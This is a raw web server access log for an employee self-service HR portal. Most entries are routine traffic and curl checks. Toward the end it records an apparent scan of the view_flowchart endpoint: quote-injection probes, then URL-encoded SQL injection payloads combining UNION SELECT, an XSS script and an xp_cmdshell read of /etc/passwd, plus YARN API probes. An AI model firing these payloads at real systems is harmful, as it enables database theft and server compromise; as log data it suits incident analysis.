192.168.12.66 - - [06/Sep/2025:19:42:35 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 -
192.168.12.66 - - [06/Sep/2025:19:42:36 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D131113%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A131113&target=iframe HTTP/1.1" 200 3251
192.168.12.66 - - [06/Sep/2025:19:42:36 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D131113%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A131113&target=iframe HTTP/1.1" 200 3251 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:19:42:37 +0800] "GET /eHR/img/success.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D131113%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A131113&target=iframe" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:19:42:37 +0800] "GET /eHR/img/success.png HTTP/1.1" 200 1084
192.168.12.66 - - [06/Sep/2025:19:42:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE024&appdesc=%E8%AF%B7%E5%81%87%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44688
192.168.12.66 - - [06/Sep/2025:19:42:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE024&appdesc=%E8%AF%B7%E5%81%87%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44688 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
100.64.0.1 - - [06/Sep/2025:19:44:02 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:19:44:02 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:19:44:09 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:19:44:09 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:20:01:33 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:20:01:33 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:20:07:52 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:20:07:52 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:20:21:24 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:20:21:24 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:20:22:29 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:20:22:29 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:20:28:51 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:20:28:51 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:20:34:15 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:20:34:15 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:20:55:46 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:20:55:46 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:21:02:01 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:21:02:01 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:21:02:47 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:21:02:47 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:21:16:22 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Linux; U; Android 12; zh-CN; LNA-AL00 Build/HUAWEILNA-AL00) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/123.0.6312.80 UCBrowser/18.0.6.1432 Mobile Safari/537.36"
100.64.0.1 - - [06/Sep/2025:21:16:22 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8806
100.64.0.1 - - [06/Sep/2025:21:19:22 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:21:19:22 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:21:20:42 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:21:20:42 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:21:40:49 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:21:40:49 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:21:41:19 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:21:41:19 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:21:45:30 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:21:45:30 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:22:15:38 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:22:15:38 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:22:20:15 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:22:20:15 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:22:22:36 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:22:22:36 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:22:41:13 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:22:41:13 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:22:58:40 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:22:58:40 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:23:01:40 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:23:01:40 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:23:06:45 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:23:06:45 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:23:07:11 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:23:07:11 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:23:28:46 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:23:28:46 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:23:29:01 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:23:29:01 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:23:40:02 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:23:40:02 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:23:41:14 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:23:41:14 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:23:50:27 +0800] "\x16\x03\x01" 501 205 "-" "-"
100.64.0.1 - - [06/Sep/2025:23:50:27 +0800] "\x16\x03\x01" 501 205
100.64.0.1 - - [06/Sep/2025:23:50:37 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:23:50:37 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.64.1"
100.64.0.1 - - [06/Sep/2025:23:50:45 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
100.64.0.1 - - [06/Sep/2025:23:50:45 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:23:50:45 +0800] "GET /favicon.ico HTTP/1.1" 404 209
100.64.0.1 - - [06/Sep/2025:23:50:45 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
100.64.0.1 - - [06/Sep/2025:23:56:07 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:23:56:07 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:23:56:27 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:23:56:27 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [07/Sep/2025:00:16:46 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [07/Sep/2025:00:16:46 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [07/Sep/2025:00:17:15 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [07/Sep/2025:00:17:15 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [07/Sep/2025:00:20:16 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [07/Sep/2025:00:20:16 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [07/Sep/2025:00:20:52 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [07/Sep/2025:00:20:52 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [07/Sep/2025:00:46:57 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [07/Sep/2025:00:46:57 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [07/Sep/2025:00:50:52 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [07/Sep/2025:00:50:52 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [07/Sep/2025:00:58:07 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [07/Sep/2025:00:58:07 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [07/Sep/2025:00:58:09 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [07/Sep/2025:00:58:09 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [07/Sep/2025:00:59:15 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "python-requests/2.32.4"
100.64.0.1 - - [07/Sep/2025:00:59:15 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232
100.64.0.1 - - [07/Sep/2025:01:12:12 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [07/Sep/2025:01:12:12 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [07/Sep/2025:01:15:08 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [07/Sep/2025:01:15:08 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [07/Sep/2025:01:17:04 +0800] "\x03" 501 203
100.64.0.1 - - [07/Sep/2025:01:17:04 +0800] "\x03" 501 203 "-" "-"
100.64.0.1 - - [07/Sep/2025:01:34:15 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [07/Sep/2025:01:34:15 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [07/Sep/2025:01:35:13 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [07/Sep/2025:01:35:13 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [07/Sep/2025:01:39:00 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [07/Sep/2025:01:39:00 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [07/Sep/2025:01:42:05 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [07/Sep/2025:01:42:05 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [07/Sep/2025:01:49:26 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "Go-http-client/1.1"
100.64.0.1 - - [07/Sep/2025:01:49:26 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232
100.64.0.1 - - [07/Sep/2025:02:08:45 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [07/Sep/2025:02:08:45 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [07/Sep/2025:02:10:59 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [07/Sep/2025:02:10:59 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [07/Sep/2025:02:13:25 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [07/Sep/2025:02:13:25 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [07/Sep/2025:02:13:33 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [07/Sep/2025:02:13:33 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [07/Sep/2025:02:20:01 +0800] "GET /robots.txt HTTP/1.1" 404 208 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
100.64.0.1 - - [07/Sep/2025:02:20:01 +0800] "GET /robots.txt HTTP/1.1" 404 208
100.64.0.1 - - [07/Sep/2025:02:20:02 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/php.gif HTTP/1.1" 200 2523
100.64.0.1 - - [07/Sep/2025:02:20:02 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/php.gif HTTP/1.1" 200 2523 "-" "Googlebot-Image/1.0"
100.64.0.1 - - [07/Sep/2025:02:21:43 +0800] "GET /ehr/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=overtime&flow_seqno=1163723&companyid=3913&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36 Edg/101.0.1210.39"
100.64.0.1 - - [07/Sep/2025:02:21:43 +0800] "GET /ehr/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=overtime&flow_seqno=1163723&companyid=3913&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:45 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%27&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:45 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%27&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) QtWebEngine/5.15.3 Chrome/87.0.4280.144 Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:46 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:46 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%27&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) QtWebEngine/5.15.3 Chrome/87.0.4280.144 Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:46 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:21:46 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) QtWebEngine/5.15.3 Chrome/87.0.4280.144 Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:46 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:21:46 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) QtWebEngine/5.15.3 Chrome/87.0.4280.144 Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:47 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%27 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:47 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%27 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; KFTT Build/IML74K) AppleWebKit/535.19 (KHTML, like Gecko) Silk/2.1 Mobile Safari/535.19 Silk-Accelerated=true"
100.64.0.1 - - [07/Sep/2025:02:21:47 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%27&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:47 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%27&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 7.1.1; BBB100-1 Build/NMF26F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:48 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%27&userseqno=47810" "Mozilla/5.0 (Linux; Android 7.1.1; BBB100-1 Build/NMF26F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:48 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:21:48 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:21:48 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 7.1.1; BBB100-1 Build/NMF26F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:49 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%27&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 6.0; ALE-L21 Build/HuaweiALE-L21) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:49 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%27&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:49 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%27&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:21:49 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%27&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.309.0 Safari/532.9"
100.64.0.1 - - [07/Sep/2025:02:21:49 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%27&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:21:49 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%27&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.136 Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:50 +0800] "GET /ehr/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=overtime&flow_seqno=1163723&companyid=3913&userseqno=47810%27%29+AND+1%3D1+UNION+ALL+SELECT+1%2CNULL%2C%27%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E%27%2Ctable_name+FROM+information_schema.tables+WHERE+2%3E1--%2F%2A%2A%2F%3B+EXEC+xp_cmdshell%28%27cat+..%2F..%2F..%2Fetc%2Fpasswd%27%29%23 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:50 +0800] "GET /ehr/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=overtime&flow_seqno=1163723&companyid=3913&userseqno=47810%27%29+AND+1%3D1+UNION+ALL+SELECT+1%2CNULL%2C%27%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E%27%2Ctable_name+FROM+information_schema.tables+WHERE+2%3E1--%2F%2A%2A%2F%3B+EXEC+xp_cmdshell%28%27cat+..%2F..%2F..%2Fetc%2Fpasswd%27%29%23 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:50 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x55615953%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x59623275%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:50 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x55615953%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x59623275%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:50 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2FANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x58365751%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6c68626b%29%29%2C1%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
